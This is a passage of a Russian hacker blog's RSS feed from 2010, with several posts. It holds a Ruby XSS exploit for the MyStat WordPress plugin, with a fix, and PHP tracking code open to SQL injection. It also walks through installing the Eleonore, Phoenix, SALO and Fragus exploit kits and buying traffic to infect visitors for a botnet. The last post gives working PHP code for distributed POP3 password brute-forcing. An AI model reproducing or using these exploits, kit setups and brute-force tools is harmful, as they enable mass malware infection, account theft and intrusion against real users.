		<description><![CDATA[Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина &#8211; http://wordpress.org/extend/plugins/mystat/. Актиная XSS наблюдается в таких разделах плагина как &#8216;Рефереры&#8217;, &#8216;Агенты&#8217; итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов. Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/download.png"><img class="alignleft size-full wp-image-383" style="margin: 5px 10px;" title="mystat" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/download.png" alt="" width="238" height="158" /></a>Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина &#8211; <a rel="nofollow" href="http://wordpress.org/extend/plugins/mystat/" target="_blank">http://wordpress.org/extend/plugins/mystat/</a>.</p>
<p>Актиная XSS наблюдается в таких разделах плагина как &#8216;Рефереры&#8217;, &#8216;Агенты&#8217; итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов.<br />
<span id="more-382"></span><br />
Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что эта бага актуальна для всех версий WordPress и всех существующих на данный момент версий mystat.</p>
<p><strong>Эксплойт</strong></p>
<p>Эксплойт написан на Ruby, как установить и запустить Ruby читайте в предыдущих статьях этого блога.</p>
<p><code>#!/usr/bin/ruby<br />
require 'net/http'<br />
http = Net::HTTP.new('very.popular.blog.ru', 80)<br />
path = '/'<br />
headers = {<br />
'Referer' ='&lt;script&gt;alert(/XSS/);&lt;/script&gt;',<br />
'User-agent' ='&lt;script&gt;alert(/XSS/);&lt;/script&gt;'}<br />
resp, data = http.get(path, headers)<br />
if resp.code.to_i==200 then puts "Exploiting OK"<br />
else puts "Exploiting failed" end</code></p>
<p><strong>Фикс</strong><br />
Открываем /wp-content/plugins/wp-mystat/mystat.php и фильтруем в функции function myStat_header() html-теги функцией htmlspecialchars():<br />
<code><br />
$US['lang']=htmlspecialchars((string)substr($GLOBALS['_SERVER']['HTTP_ACCEPT_LANGUAGE'],0,2));<br />
$US['user_agent']=htmlspecialchars((string)$GLOBALS['_SERVER']['HTTP_USER_AGENT']);<br />
$US['referer']=(string)isset($GLOBALS['_SERVER']['HTTP_REFERER'])?htmlspecialchars($GLOBALS['_SERVER']['HTTP_REFERER']):'';</code></p>
<p>Здесь приведен не полный список полей, которые надо фильтровать.</p>
<pre>Статья не призывает ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только на вас!
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>примитивная cms для ПП по скупке трафика</title>
		<link>http://blog.lukmus.ru/2010/08/11/primitivnaya-cms-dlya-pp-po-skupke-trafika/</link>
		<comments>http://blog.lukmus.ru/2010/08/11/primitivnaya-cms-dlya-pp-po-skupke-trafika/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 03:19:29 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[разное]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[движок партнерки]]></category>
		<category><![CDATA[партнерка]]></category>
		<category><![CDATA[платник]]></category>
		<category><![CDATA[ПП]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=354</guid>
		<description><![CDATA[Подобная CMS (а скорее всего набор скриптов) достаточно часто бывает необходима при раскрутке сайта. И вот сегодня она понадобилась одному моему знакомому и в честь чего я и решил выложить это самопальную примитивщину. Представляет она из себя набор PHP скриптов. Основная часть предназначена для партнера, там отображается его статистика, баланс и промо. Вторая часть вставляется [...]]]></description>
			<content:encoded><![CDATA[<p>Подобная CMS (а скорее всего набор скриптов) достаточно часто бывает необходима при раскрутке сайта. И вот сегодня она понадобилась одному моему знакомому и в честь чего я и решил выложить это самопальную примитивщину.</p>
<p style="text-align: center;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/minilogo.png"><img class="aligncenter size-full wp-image-355" title="cms партнерской программы" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/minilogo.png" alt="" width="450" height="179" /></a></p>
<p><span id="more-354"></span>Представляет она из себя набор PHP скриптов. Основная часть предназначена для партнера, там отображается его статистика, баланс и промо. Вторая часть вставляется в страницу(ы) для, которых предназначена ПП. Так же в комплект входят SQL-код для создания необходимой для CMS БД.</p>
<p>Скачать это чудо экстремального программирования можно <a href="http://www.filesonic.com/file/16498911/PPCMS.tar" target="_blank">здесь</a>.</p>
<p><strong>Установка</strong></p>
<p>Ничего не может быть проще чем установка этой CMS.</p>
<ol>
<li>После того, как вы распаковали архив, закидываем все что там было на сервер, разумеется кроме файлов readme и sql.sql.</li>
<li>Внимательно читаем readme, даем почитать его всем своим друзьям и подругам, а так же родителям читаем вслух, после чего удаляем.</li>
<li>Открываем sql.sql и создаем БД в MySQL точно в соответствии с запросами в этом файле, или же можно просто импортировать его в БД, посредством phpMyAdmin.</li>
<li>Теперь открываем исходный код страниц ПП, по которым будет учитыватся траф и вставляем туда такой код<br />
<code><br />
include "partner/config.php"; //относительная ссылка на config.php<br />
if(isset($_GET['r'])){<br />
$r=(integer)$_GET['r'];<br />
$ip=$_SERVER['HTTP_X_REAL_IP'];<br />
$ref=$_SERVER['HTTP_REFERER'];<br />
if (strlen($ref)&lt;1) $ref=" - "; $cost=0.00; $bd=new mysqli($bd_host,$bd_user,$bd_pass,$bd_name); $res=$bd-&gt;query("SELECT cost FROM seller WHERE r=$r;");<br />
while($row=$res-&gt;fetch_row()){<br />
$cost=(float)$row[0];<br />
}<br />
$now_date=date('Y-m-d');<br />
$hash=md5($now_date.$ip);<br />
$exist=false;<br />
$res=$bd-&gt;query("SELECT uniq_hash FROM traf WHERE uniq_hash='$hash';");<br />
while($row=$res-&gt;fetch_row()){<br />
if (strlen($row[0])&gt;1)$exist=true;<br />
}<br />
$pay=0;<br />
if (!$exist) $bd-&gt;query("INSERT INTO traf VALUES  (NULL, $r,'$ip','$ref','$now_date',$pay,$cost,'$hash');");<br />
$res-&gt;free();<br />
$bd-&gt;close();<br />
}<br />
</code></li>
</ol>
<p><strong>Конфигурация</strong></p>
<p>Когда я в прошлом абзаце сказал, что не может быть ничего проще установки, я соврал &#8211; конфигурирование гораздо проще.</p>
<p>Открываем config.php и видим там<br />
<code><br />
// параметры БД<br />
$bd_host="localhost";<br />
$bd_user="bd_user";<br />
$bd_pass="bd_pass";<br />
$bd_name="bd_name";<br />
//-----------------------<br />
$unikey=md5("universal_key"); //универсальный ключ<br />
$site_name_partner="your PP name"; //заголовок ПП<br />
$default_partner_cost=0.00; //стоимость клика по умолчанию<br />
$admin_contacts="icq: 000000"; //контакты администрации<br />
</code><br />
Я думаю тут все предельно просто, объяснить следует лишь переменную $unikey. Дело в том, что в этой CMS нет админки, зато есть универсальный ключ равный $unikey. Админ зная почту какого-либо пользователя может зайти в его аккаунт посредством уникея и там посмотреть его баланс, статистику итд.</p>
<p>Возможно вы хотите меня спросить: &#8220;Если админ знает почту аккаунта, посмотрев ее в БД, почему же он не сможет посмотреть там пароль от его акка?&#8221;, а я вам отвечу &#8211; т.к. в БД хранятся только md5-хэши паролей.</p>
<p>Так же вам скорее всего придется поменять логотип ПП (img/logo.png), дизайн (screen.css) и правила ПП (partner_rules.pdf).</p>
<p>По всем вопросам обращайтесь сюда. Если этот &#8216;движок&#8217; будет кому-нибудь интересен, включая меня, вполне вероятно, что он начнет развиватся.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/11/primitivnaya-cms-dlya-pp-po-skupke-trafika/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>полуприватные связки сплойтов</title>
		<link>http://blog.lukmus.ru/2010/07/15/poluprivatnyie-svyazki-sploytov/</link>
		<comments>http://blog.lukmus.ru/2010/07/15/poluprivatnyie-svyazki-sploytov/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 17:50:10 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[eleonore]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[fragus]]></category>
		<category><![CDATA[phoenix]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[salo pack]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[связка сплойтов]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=236</guid>
		<description><![CDATA[Хочу я заиметь собственный скромненький небольшой ботнетик, поэтому начал присматриватся к связкам сплойтов. Покупать пока я не решился т.к. стоят они мягко сказать дохрена, хотя есть варианты с арендой но все же&#8230; Под связки нужно написать какого-нить бота, ну или купить. Конечно, лучше всего купить какого-нибудь Зевса, но стоит он чуть ли не дороже связок. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/exploited.jpg"><img class="alignleft size-full wp-image-264" style="margin: 5px 10px;" title="exploited" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/exploited.jpg" alt="" width="191" height="189" /></a>Хочу я заиметь собственный скромненький небольшой ботнетик, поэтому начал присматриватся к связкам сплойтов. Покупать пока я не решился т.к. стоят они мягко сказать дохрена, хотя есть варианты с арендой но все же&#8230;</p>
<p>Под связки нужно написать какого-нить бота, ну или купить. Конечно, лучше всего купить какого-нибудь Зевса, но стоит он чуть ли не дороже связок. Поэтому я решил не торопить события и написал свою простенькую прожку, которая подменяет hosts на фейки соц.сетей, где собственно зараженный сначала отдаст мне свой логин с паролем, а затем получит окно с активацией под SMS. Префиксов, слава Богу, у меня хватало, так что дело встало за прогой, о ней я напишу в следующей статье. А пока перейдем к связкам.<span id="more-236"></span></p>
<p>Найти в паблике более-менне актуальные связки оказалось не такой уж и простой задачей, но я, гугл и яндекс все же справились с ней.<br />
Все связки я качал <a href="http://forum.k0d.cc/showthread.php?s=ad4c6e352e518d18107d2df9e55aa082&amp;p=27124" target="_blank">отсюда</a>, в связи с чем я очень благодарен этому форуму и тем кто выкладывал связки лично.</p>
<p><strong>То что я здесь расскажу скорее всего мало относится к приватным (платным) версиям этих связок и актуально только для этих полуприватных вариантов.</strong></p>
<p>Значит как я действовал:</p>
<ul>
<li>устанавливал связку на заренее подготовленный хостинг</li>
<li>закидывал свою программку</li>
<li>брал один из своих сайтиков и ставил туда iframe на связку</li>
<li>пробывал связку через Virtual Box с Windows XP на IE6, IE8 и FF 3.5</li>
<li>в случае если у какой-нибудь вариант из 3-х приведенных в пункте выше загружал программку, то покупал через одну систему обмена траффиком от 0.5 до 1к траффа</li>
</ul>
<p>Необходимо так же заметить, что установка этих вариантов этих связок обладает не самым дружественным интерфейсом и мне приходилось самому немного править некоторые скрипты. Короче без минимальных знаний PHP и маленького опыта работы с PHPMyAdmin тут не обойтись.</p>
<table style="height: 48px;" width="414">
<tbody>
<tr>
<td><img src="http://blog.lukmus.ru/wp-content/uploads/2010/07/elen.png" alt="" /></td>
<td>
<div style="font-size: 1.1em;"><strong>Eleonore Exp pack 1.3.1</strong></div>
</td>
</tr>
</tbody>
</table>
<p><strong>Установка</strong></p>
<p>После того как закинули на хостинг, делаем БД и прописываем настройки в файле &#8216;config.php&#8217;. В этом же файле строки:</p>
<blockquote><p>&lt;?php<br />
/*$to = &#8220;cmail014@gmail.com&#8221;;<br />
$from = &#8220;someonelse@example.com&#8221;;<br />
$headers = &#8220;From: $from&#8221;;<br />
mail($to,$subject,$headers,$admin,$pwd);*/<br />
?&gt;</p></blockquote>
<p>либо удаляем, либо комментируем.</p>
<p>Далее если мы почитаем файл readme.txt, то нам нужно запустить &#8216;install.php&#8217;, однако в данном варианте его нет, поэтому руками открываем файл &#8216;dump.sql&#8217; и создаем структуру БД в соответсвии с запросами приведенными там, а конкретнее:</p>
<blockquote><p>CREATE TABLE IF NOT EXISTS `seller` (<br />
`id` int(10) NOT NULL auto_increment,<br />
`name` varchar(30) default NULL,<br />
`link` varchar(150) default NULL,<br />
`desc` varchar(500) default NULL,<br />
PRIMARY KEY  (`id`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=6 ;</p>
<p>и</p>
<p>CREATE TABLE IF NOT EXISTS `statistic` (<br />
`id` int(10) NOT NULL auto_increment,<br />
`ip` varchar(15) default NULL,<br />
`os` varchar(30) default NULL,<br />
`br` varchar(30) default NULL,<br />
`country` varchar(2) default &#8216;&#8211;&#8217;,<br />
`good` int(1) NOT NULL default &#8217;0&#8242;,<br />
`mv` int(1) NOT NULL default &#8217;0&#8242;,<br />
`refer` varchar(300) NOT NULL,<br />
`date` datetime default &#8217;2009-01-01 00:00:00&#8242;,<br />
`spl` varchar(30) default NULL,<br />
`seller` varchar(150) default NULL,<br />
PRIMARY KEY  (`id`)<br />
) ENGINE=MyISAM  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=149 ;</p></blockquote>
<p>Теперь выставляем права на директорию load и все ее содержимое 0777.</p>
<p><strong>Эксплуатация</strong></p>
<p>Путь к админке: &lt;имя домена&gt;/stat.php.</p>
<p>В админке все предельно просто и понятно:</p>
<ul>
<li>в разделе Resseler добавляем продавца или просто место откуда льется трафф и нажав на ссылку Links info получим ссылку, которую нужно вставить в iframe;</li>
<li>в File загружаем нашего бота;</li>
<li>в Main смотрим статистику</li>
</ul>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/el1.png"><img class="aligncenter size-full wp-image-238" title="el1" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/el1.png" alt="" width="768" height="387" /></a></p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/el2.png"><img class="aligncenter size-full wp-image-239" title="el2" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/el2.png" alt="" width="767" height="650" /></a><strong>Итоги</strong></p>
<p>Пробив плохой, а точнее на моих 2-х самых небезопасных в мире Windows XP без антивирей и без фаерволов, с самыми непропатченными браузерами в мире ничего не прокатило. Что касается интерфейса, то он достаточно хороший и приятный и самое главное удобный.</p>
<p>Вообщем, если в приватных версиях сплойты более работоспособны, то можно брать, правда цен я не знаю.</p>
<table style="height: 48px;" width="382">
<tbody>
<tr>
<td><img src="http://blog.lukmus.ru/wp-content/uploads/2010/07/FP_BLOG_100527_3.jpg" alt="" width="159" height="93" /></td>
<td>
<div style="font-size: 1.1em;"><strong>Phoenix exploit&#8217;s pack</strong></div>
</td>
</tr>
</tbody>
</table>
<p><strong>Установка</strong></p>
<ul>
<li>делаем БД с пользователем</li>
<li>правим конфиг configuration/config.php</li>
<li>заливаем бота в корень и называем его exe.exe (не факт, т.к. нет мануала, я решил что это наиболее вероятный вариант)</li>
<li>запускаем recrypt.php и следуем инструкциям</li>
</ul>
<p><strong>Эксплуатация</strong></p>
<p>Админка, если ее можно назвать таковой, находится по адресу &lt;имя домена&gt;/statistics.php.</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/ph.png"><img class="aligncenter size-full wp-image-243" title="ph" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/ph.png" alt="" width="790" height="281" /></a></p>
<p>Где смотреть ссыль под трафф я так и не нашел и методом тыка определил, что либо &lt;имя домена&gt;/index.php, либо &lt;имя домена&gt;/load.php.</p>
<p>Что касается пробива тут все плохо, и не смотря на то что на скрине стоит 100% пробива я могу сказать что он скорее нулевой.</p>
<p>Немного погуглив, я тут выяснил, что отвязали 2-ю версию phoenix и прочитать про нее можно <a href="http://datafrog.biz/topic/8/" target="_blank">здесь</a>.</p>
<table>
<tbody>
<tr>
<td><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/log_in.png"><img class="alignnone size-full wp-image-246" title="salo" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/log_in.png" alt="" width="128" height="128" /></a></td>
<td>
<div style="font-size: 1.1em;"><strong>SALO PACK © UASC</strong></div>
</td>
</tr>
</tbody>
</table>
<p><strong>Установка</strong></p>
<ul>
<li>создаем БД с пользователем</li>
<li>настраиваем cfg.php</li>
<li>запускаем sql.php</li>
</ul>
<p><strong>Эксплуатация</strong></p>
<p>Админка находится по адресу: &lt;имя домена&gt;/admin.</p>
<p>Во вкладке &#8216;Настройка&#8217; заливаем бота и производим другие настройки.</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/salo.png"><img class="aligncenter size-full wp-image-247" title="salo" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/salo.png" alt="" width="791" height="378" /></a></p>
<p>Ну и собственно ставим iframe на http://&lt;имя домена&gt;/index.php.</p>
<p><strong>Итоги</strong></p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/salo2.png"><img class="aligncenter size-full wp-image-248" title="salo2" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/salo2.png" alt="" width="849" height="381" /></a></p>
<p>Статистика врет &#8211; пробив нулевой или неуклонно стремится к нему.</p>
<p>Интерфейс хороший, я бы даже сказал приятный и удобный, там даже есть AJAX&#8217;ое обновление. Статистика достаточно детальная, впрочем вы сами можете это видеть на скрине.</p>
<table style="height: 48px;" width="414">
<tbody>
<tr>
<td><img src="http://blog.lukmus.ru/wp-content/uploads/2010/07/logo.png" alt="" /></td>
<td>
<div style="font-size: 1.1em; text-align: center;"><strong>Fragus exploit pack v1.0<br />
</strong></div>
</td>
</tr>
</tbody>
</table>
<p><strong>Установка</strong></p>
<ul>
<li>создаем БД с пользователем под нее</li>
<li>правим конфиг /secure/config.php</li>
<li>открываем в редакторе /secure/_install.php и приводим его в следующий вид:<br />
<blockquote><p>&lt;?php<br />
include (&#8220;config.php&#8221;);<br />
if (!($c = mysql_connect($config['MysqlHost'], $config['MysqlUser'], $config['MysqlPassword']))) {<br />
die(&#8220;Check host, user or password (./cfg/config.php)&#8221;);<br />
}<br />
if (!mysql_select_db($config['MysqlDbname'],$c)) {<br />
die(&#8220;Check DB name (./cfg/config.php)&#8221;);<br />
}</p>
<p>if (!mysql_query(&#8220;DROP TABLE IF EXISTS `statistic`;&#8221;,$c)) die(&#8220;Check permission for user &#8216;&#8221;.$config['MysqlUser'].&#8221;&#8216;&#8221;);</p>
<p>if (!mysql_query(&#8220;CREATE TABLE `donkeys` (<br />
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,<br />
`ip` int(10) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`seller` int(10) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`browser` set(&#8216;MSIE&#8217;,'FIREFOX&#8217;,'OPERA&#8217;,'CHROME&#8217;,'SAFARI&#8217;,'OTHER&#8217;) NOT NULL DEFAULT &#8216;OTHER&#8217;,<br />
`browser_version` varchar(10) NOT NULL DEFAULT &#8217;0&#8242;,<br />
`os` set(&#8217;95&#8242;,&#8217;98&#8242;,&#8217;ME&#8217;,&#8217;2000&#8242;,&#8217;2003&#8242;,&#8217;XP&#8217;,'VISTA&#8217;,'WIN7&#8242;,&#8217;MAC&#8217;,'LINUX&#8217;,'OTHER&#8217;) NOT NULL DEFAULT &#8216;OTHER&#8217;,<br />
`os_version` set(&#8216;SP1&#8242;,&#8217;SP2&#8242;,&#8217;SP3&#8242;,&#8217;SP4&#8242;,&#8217;OTHER&#8217;) NOT NULL DEFAULT &#8216;OTHER&#8217;,<br />
`country` tinyint(3) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`file` int(10) unsigned NOT NULL,<br />
`exploit` tinyint(2) unsigned NOT NULL DEFAULT &#8217;0&#8242;,<br />
`status` set(&#8216;NOT&#8217;,'LOAD&#8217;,'BACKCONNECT&#8217;) NOT NULL DEFAULT &#8216;NOT&#8217;,<br />
`time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,<br />
PRIMARY KEY (`id`),<br />
UNIQUE KEY `ip` (`ip`)<br />
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ;&#8221;,$c)) die(&#8220;Check permission for user &#8216;&#8221;.$config['MysqlUser'].&#8221;&#8216;&#8221;);</p>
<p>die(&#8220;&lt;html&gt;&lt;head&gt;&lt;title&gt;Unique pack&lt;/title&gt;&lt;link type=&#8217;text/css&#8217; rel=&#8217;stylesheet&#8217; href=&#8217;./cfg/style.css&#8217;&gt;<br />
&lt;/head&gt;&lt;body bgcolor=&#8217;#E5E5E5&#8242; text=&#8217;black&#8217;&gt;<br />
&lt;center&gt;&lt;img src=&#8217;./img/logo.gif&#8217;&gt;&lt;br&gt;<br />
&lt;br&gt;Installation finished&lt;br&gt;Please delete install.php&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;&#8221;);<br />
?&gt;</p></blockquote>
</li>
<li>теперь запускаем /secure/_install.php</li>
</ul>
<p><em>Примечание: я уже не помню где точно, но в процессе работы в админке могут вылетать различные MySQL ошибки, так вот для того чтобы их не было смотрим скрипт в котором была ошибка и заменям там в функциях mysql_connect() и mysql_select_db() переменные, которые теоретически равны пользователю, имени БД, хосту БД и паролю админа БД на те переменные, что указанны в конфиге т.е. $config['MysqlHost'], $config['MysqlUser'] и т.д. или на строки с этими значениями, последний вариант это кривое программирование, однако в данном случае он предпочтительнее.</em></p>
<p><strong>Эксплуатация</strong></p>
<p>Интерфейс просто шикарен.</p>
<p style="text-align: center;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/f1.png"><img class="aligncenter size-full wp-image-253" title="fragus1" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/f1.png" alt="" width="595" height="248" /></a></p>
<p style="text-align: center;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/f1.png"></a><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/f2.png"><img class="aligncenter size-full wp-image-254" title="fragus2" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/f2.png" alt="" width="596" height="303" /></a></p>
<p style="text-align: left;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/f3.png"><img class="aligncenter size-full wp-image-258" title="f3" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/f3.png" alt="" width="597" height="349" /></a></p>
<p style="text-align: left;">Я тут даже ничего описывать не буду, там и так все понятно. Хочу лишь отметить что ссыли в том числе и iframe связка выдает во всех возможных вариантах, включая криптованный.</p>
<p style="text-align: left;"><strong>Итоги</strong></p>
<p style="text-align: left;">Из всех рассмотренных связок Fragus самая лучшая по всем показателям. И не смотря на то что она уже относительно древняя у нее не плохой пробив для публичной (1.68% это не совсем верно т.к. весомая часть трафика который я туда лил заведомо не мог прокатить, примерный пробив составит около 3-6%).</p>
<p style="text-align: left;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/fstat.png"><img class="aligncenter size-full wp-image-259" title="fstat" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/fstat.png" alt="" width="707" height="791" /></a></p>
<p style="text-align: left;">P.S. я был бы очень благодарен всем кто скинул бы сюда или мне лично ссылку на публичную или полуприватную связку, не рассмотренную здесь.</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/15/poluprivatnyie-svyazki-sploytov/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>распределенный POP3-брутфорс или брут мыл через фрихосты</title>
		<link>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/</link>
		<comments>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 01:55:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[freehost]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[бесплатный хостинг]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=86</guid>
		<description><![CDATA[Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть. Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и [...]]]></description>
			<content:encoded><![CDATA[<p>Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.</p>
<p>Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.<br />
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота &#8211; попытка авторизации на POP3-сервере.<span id="more-86"></span></p>
<p>Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.<br />
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.</p>
<p>Брутфорс будет состоять из 2-х частей:</p>
<ol>
<li>серверная &#8211; PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем</li>
<li>клиентская &#8211; Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся</li>
</ol>
<p><strong>Сервер (PHP-скрипты).</strong></p>
<p>Сервер будет состоять из 3-х файлов:</p>
<ol>
<li>библиотека &#8211; lib.php</li>
<li>конфигурация &#8211; config.php</li>
<li>сам скрипт авторизации &#8211; brut.php</li>
</ol>
<p>В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.</p>
<p>Итак, сам lib.php:</p>
<blockquote><p>&lt;?php<br />
class Email {<br />
var $server;<br />
var $full_addr;<br />
var $login;<br />
const SOCK_ERR=-3;<br />
const FST_GET_ERR=-2;<br />
const LOGIN_ERR=-1;<br />
const INCCORECT_PASS=0;<br />
const SUCC=1;</p>
<p>function __construct($addr)<br />
{$this-&gt;full_addr=$addr;<br />
$this-&gt;set_serv();<br />
$this-&gt;set_login(); }</p>
<p>private function set_serv ()<br />
{$strpos=strpos($this-&gt;full_addr,&#8217;@');<br />
$this-&gt;server=&#8221;pop.&#8221; . substr($this-&gt;full_addr,$strpos+1,strlen($this-&gt;full_addr)-$strpos); }</p>
<p>private function set_login ()<br />
{$this-&gt;login=substr($this-&gt;full_addr,0,strpos($this-&gt;full_addr,&#8217;@')); }</p>
<p>public function try_auth ($pass)<br />
{ $pop_conn = fsockopen($this-&gt;server, 110,$errno, $errstr, 10);<br />
if (!(is_resource($pop_conn))) return -3;</p>
<p>$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -2;</p>
<p>fputs($pop_conn,&#8221;USER $this-&gt;login\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -1;</p>
<p>fputs($pop_conn,&#8221;PASS $pass\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))return 0;</p>
<p>fclose($pop_conn);<br />
return 1;<br />
}<br />
}<br />
?&gt;</p></blockquote>
<p>Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.</p>
<blockquote><p>&lt;?php<br />
$login=&#8221;root&#8221;;<br />
$pass=&#8221;jvgfdhg6hj&#8221;;<br />
?&gt;</p></blockquote>
<p>Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.</p>
<blockquote><p>&lt;?php<br />
include &#8216;lib.php&#8217;;<br />
include &#8216;config.php&#8217;;</p>
<p>if (!isset($_POST['login']) || $_POST['login']!=$login) die();<br />
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();<br />
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();</p>
<p>$email= new Email($_POST['op_addr']);<br />
echo &#8216;&lt;ans&gt;&#8217;.$email-&gt;try_auth($_POST['op_pass']).&#8217;&lt;/ans&gt;&#8217;;<br />
?&gt;</p></blockquote>
<p>brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы  посмотрит lib.php, а я же скажу что 0 &#8211; пароль не подошел, 1 &#8211; пароль подошел.</p>
<p>На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.</p>
<p><strong>Клиент (Ruby-скрипты).</strong></p>
